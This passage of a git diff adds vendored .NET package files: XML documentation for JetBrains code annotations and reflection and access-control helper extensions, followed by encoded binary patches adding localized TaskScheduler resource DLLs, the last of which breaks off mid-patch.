method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + + + diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..a81372a322d51b218c9a592fdfdf0c5a459556eb GIT binary patch literal 9728 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..ed0b44eca8dfb8076a63db4d1f91c326eb6fa715 GIT binary patch literal 10240 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..8bc9899ede4ffa71a203e8825b3d18fb32bef45c GIT binary patch literal 10240 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 